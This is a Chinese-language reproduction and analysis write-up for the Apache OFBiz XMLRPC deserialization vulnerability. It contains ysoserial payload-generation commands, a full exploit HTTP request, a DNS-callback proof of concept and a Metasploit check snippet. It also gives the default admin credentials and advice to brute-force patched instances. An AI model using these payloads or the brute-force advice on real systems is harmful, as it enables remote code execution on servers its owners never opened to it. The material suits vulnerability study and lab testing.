0x01 漏洞背景
Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。默认可使用用户名:admin、密码:ofbiz登录
2020-09-29左右,其17.12.04版本之前的XMLRPC接口存在一处反序列化漏洞,攻击者利用这个漏洞可以在目标服务器上执行任意命令。
电子商务平台,国内用得很少,基础的反序列化漏洞。
(1)受影响版本
Apache OFBiz < 17.12.04版本
0x02 漏洞复现
(1)访问环境
请求/webtools/control/xmlrpc时,提示Failed to read XML-RPC request. Please check logs for more information,如图

注意:
- 只能是访问
/webtools(一个斜杠),访问//webtools时会跳到/webtools/control/main,无法确认是否开放xmlrpc的api。 - 在vulhub上的环境复现时,无需将
Content-Type设置为application/www-form-urlencoded,我用的application/www-form-urlencoded也可触发漏洞。不过—还是建议设为xml
确认当前环境可以访问后,开始生成payload。
(2)生成payload

用YSoSerial编码要执行的命令
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"
生成如下图所示的内容

(在vulhub的环境上测试,发现即使不使用tr去除换行也可以打,真玄学…)
(3)EXP
构造如下请求包,将[base64-payload]替换为刚刚生成的base64串
POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
上图来源于github-vulhub
发送之后即可实现命令执行

(4)无损PoC
建议采用URLDNS来无损验证是否存在反序列化漏洞。
首先,在YSO里指定要请求的域名生成payload,如
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://ofbiz.xxxx.ceye.io" |base64 |tr -d "\n"
接着,带着和payload请求过去

若在dnslog平台上收到请求,即证明存在漏洞!

同时呢,我也看了下MSF的检测方式
def check
# Send an empty serialized object
res = send_request_xmlrpc('')
unless res
return CheckCode::Unknown('Target did not respond to check.')
end
if res.body.include?('Failed to read result object: null')
return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
end
CheckCode::Safe('Target cannot deserialize arbitrary data.')
end
就是将[base64-payload]置空并POST过去,若出现Failed to read result object: null的响应就证明有漏洞。(有一些小细节:例如<methodName>得是随机字母+数字的形式。
<?xml version="1.0"?>
<methodCall>
<methodName>#{rand_text_alphanumeric(8..42)}</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>#{rand_text_alphanumeric(8..42)}</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
0x03 漏洞分析
直接参考360Cert的文章即可->https://cert.360.cn/report/detail?id=ba5eeaf8536ba73611dd4abd198c4eb9
我阅读主要得到下面几点:
(1)XMLRPC接口究竟是做什么的?
XML-RPC允许在不同的操作系统上运行的软件在不同的环境中运行,以通过Internet进行过程调用。
它是使用HTTP作为传输方式和XML作为编码的远程过程调用。
简单地说,就是远程过程调用(RPC)的XML实现。
如果希望进一步了解这种接口,可以进到XML-RPC Debugger中,内置了可构造请求的页面,比较方便。

实际上,在WordPress 中也有XML-RPC服务,但对于个人博主来说基本用不上,反而常常被用来爆破账号密码,所以建议关掉。
从这一点上来看,XML-RPC的好处更多体现在编程层面,个人用户用得较少。
(2)反序列化的主要流程
在解析serializable的时候,XmlRpcRequestParser的typeParser依然是MapParser,但是在MapParser里处理不了serializable标签,此时要重新获取Parser,而解析到serializable标签,getParser就是返回为SerializableParser。

SerializableParser继承ByteArrayParser,没有startElement方法,于是调用父类ByteArrayParser,设置OutputStream,且解码输入流,可以看到base64解码就是在这里进行的

接着处理在Serializable#endElement,setResult给result赋值。这里相当于取反序列化的数据了
后续就是它的包装类了

典型的bais->ois->readObject()反序列三段式。
0x04 漏洞修复
官方直接在web.xml中加上了认证,点此直达

测试用例中也能看出是加了认证。可是,账号、密码居然是用GET传入,可见安全水位并不高。

0x05 总结
xmlrpc本身是支持对序列化数据的反序列化的,而问题就出现在ofbiz没有对xmlrpc接口的访问做权限的控制- 但是从修复方案来看,只是加了一道验证,实属治标不治本哦
- 后续遇到修复了的场景,建议直接上爆破,爆破成功即可反序列
Refs
- https://github.com/vulhub/vulhub/blob/master/ofbiz/CVE-2020-9496/README.zh-cn.md
- https://www.cnblogs.com/ph4nt0mer/p/13576739.html
- https://cert.360.cn/report/detail?id=ba5eeaf8536ba73611dd4abd198c4eb9
- https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/
- http://www.jackson-t.ca/runtime-exec-payloads.html
- http://ceye.io/records/dns[
](https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/)